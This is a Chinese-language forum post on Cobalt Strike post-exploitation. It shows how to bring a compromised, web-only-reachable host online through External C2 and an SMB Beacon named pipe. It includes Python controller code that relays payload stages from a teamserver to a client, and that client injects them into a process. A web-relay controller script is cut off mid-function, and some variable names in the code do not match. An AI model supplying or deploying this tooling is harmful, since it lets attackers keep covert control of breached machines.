0x00 前言

Cobalt Strike 的上线问题归结为以下几点:

问题 解决方法
目标存在杀软(被杀) Shellcode 加载器
目标存在杀软(拦截连接) C2 处理
目标机是 Web 映射出网 特殊 C2 处理
隔离网络 出网机器做跳板

本文针对第 3 点进行展开。

0x01 前置知识点

1.1、管道

如果对管道不熟悉的朋友,可以将管道理解为采用消息队列方式操作的文件。为什么说管道是文件呢?因为它的本质是一段系统内核的缓冲区,可以看做是一个伪文件。在我们使用管道时,需要 Create、Open、Read、Write、Close,就和我们操作文件差不多。而又为什么说管道是采用消息队列的方式呢?因为它实际上的数据结构是一个环形队列。不同的线程都可以向里面写,也可以从里面读。写在队列末尾,读就是从队列头部删除。

管道分为两种,匿名管道(pipe)命名管道(FIFO)。匿名管道用于父子进程通信,而命名管道可以用于任意两个进程通信。

  • 服务端:创建管道 >> 监听 >> 读写 >> 关闭
  • 客户端:打开命令管道,获得句柄 >> 写入数据 >> 等待回复

1.2、SMB Beacon

官网的解释为SMB Beacon 使用命名管道通过父 Beacon 进行通信,这种点对点通信借助 Beacons 在同一台主机上实现,它同样也适用于外部的互联网。Windows 当中借助在 SMB 协议中封装命名管道进行通信,因此,命名为 SMB Beacon。

以上的说法,其实就是将 Payload 运行(注入)后,创建了自定义命名管道(作服务端),等待连接即可。

0x02 External C2

External C2Cobalt Strike 引入的一种规范(或者框架),黑客可以利用这个功能拓展C2通信渠道,而不局限于默认提供的 HTTP(S)/DNS/SMB/TCP 通道。大家可以参考 此处 下载完整的规范说明。

简而言之, 用户可以使用这个框架来开发各种组件,包括如下组件:

  • 第三方控制端(Controller):负责连接 Cobalt Strike TeamServer,并且能够使用自定义的 C2 通道与目标主机上的第三方客户端(Client)通信。
  • 第三方客户端(Client):使用自定义C2通道与第三 Controller 通信,将命令转发至 SMB Beacon。
  • SMB Beacon:在受害者主机上执行的标准 beacon。

Cobalt Strike 提供的官方文档中(文末有官方文档),我们可以看到如下示意图:

从上图可知,我们的自定义 C2 通道两端分别为 Controller 以及 Client,这两个角色都是我们可以自行研发以及控制的角色。往下走就是一个完整的 ExternalC2工作流程

0x03 正常的 External C2 工作流程

一个粗糙的时序图(图中的空虚线是为了排版,无其他意义):

3.1、ExternalC2

我们需要让 Cobalt Strike 启动 External C2。我们可以使用 externalc2_start() 函数,传入端口参数即可。一旦 ExternalC2 服务顺利启动并正常运行,我们需要使用自定义的协议进行通信。

  • 启用 externalc2_start 函数,通知 Teamserver 已开启 C2
    externalc2_start("0.0.0.0", 2222);
  • 等待 Controller 连接传输配置信息
  • 生成下发 Payload Stage
  • 接收和下发信息

3.2、Controller

Controller

  • 使用 socket 连接 ExternalC2 平台
    _socketToExternalC2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
    _socketToExternalC3.connect(("193.10.20.123", 2222))
  • 规范接收与发送的数据格式

    def encodeFormat(data):
        return struct.pack("<I", len(data)) + data
    
    def decodeFormat(data):
        len = struct.unpack("<I", data[0:3])
        body = data[4:]
        return (len, body)
    
    def recvFromExternalC2():
        data = ""
        _len =  _socketToExternalC3.recv(4)
        l = struct.unpack("<I",_len)[0]
        while len(data) < l:
            data += _socketToExternalC3.recv(l - len(data))
        return data
    
    def recvFromBeacon():
        data = ""
        _len =  _socketToBeacon.recv(4)
        l = struct.unpack("<I",_len)[0]
        while len(data) < l:
            data += _socketToBeacon.recv(l - len(data))
        return data
  • 发送配置选项(x86 or x64 、命名管道名称、间隔时间)

  • 发送 go,通知 ExternalC2 可下发 Payload Stage

    def sendToTS(data):
        _socketToExternalC3.sendall(encodeFormat(data))
    
    sendToTS("arch=x86")
    sendToTS(“pipename=rcoil")
    sendToTS("block=500")
    sendToTS("go")
  • 接收来自 ExternalC2 所下发的 Payload Stage

    data = recvFromExternalC2()
  • 与此同时,新开启一个 Socket,进行监听,等待接收来自 Client (EXE) 的数据

    _socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
    _socketBeacon.bind(("0.0.0.0", 8088))
    _socketBeacon.listen(1)
    _socketClient = _socketBeacon.accept()[0]
  • 在收到 Client (EXE) 的连接后,向 Client (EXE) 发送 Payload Stage

  • 向ExternalC2 反馈来自 Client (EXE) 的数据
  • 机器上线
  • 进入数据收发循环处理流程

可以参考 此处获取完整的 XPNController 代码。

3.3、Client (EXE)

  • 同样规范接收与发送的数据格式
  • 连接 Controller,并接收 Payload Stage
  • 将接收到的 Payload Stage 使用常规的进程注入方法注入到进程中
  • SMB Beacon启动并处于运行状态
  • Client (EXE) 连接 SMB Beacon 的命名管道,用于接收或下发命令
  • 进入数据收发循环处理流程

可以参考 此处 获取完整 XPNClient (EXE) 代码

0x04 特殊的 C2 配置

以上所配置的 C2,并不能满足我们现在的特殊需求:Web 映射出网环境上线问题 。由于目标机是不出外网的,所以无法实现上面的: Client 主动连接 Controller,进而将 Payload Stage下发,所以可以从上面的流程进行修改,其实修改起来也不难,以下是解决方案:

需要在目标机器上面(根据 Web 容器)编写一个对指定的命名管道进行读取和写入的脚本(Client-Web),然后在 Controller 上对此脚本(Client-Web)进行连接(读写操作),将主动变成被动即可解决。

为了省略阅读时长,直接看以下时序图(图中的空虚线是为了排版,无其他意义)。

需要多一个中转设置,我们将这个中转命名为 Client-Web,确保自定义周期能够完成。接下来小节中的代码,如果是应用于实战,建议自写。

4.1、Controller

这一部分与上所述基本一致,只是将挂起的 socket 转为对 Web 的请求,主动去获取数据,再将获取到的数据进行反馈。

// 代码来源:https://github.com/hl0rey/Web_ExternalC2_Demo/blob/master/controller/webc3.py
import socket
import struct
import requests
# import random
import time

PAYLOAD_MAX_SIZE = 512 * 1024
BUFFER_MAX_SIZE = 1024 * 1024


def tcpconnect(ip, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    return s


def recvdata_unpack(s):
    chunk = s.recv(4)
点击收藏 | 2 关注 | 3
  • 动动手指,沙发就是你的了!
登录 后跟帖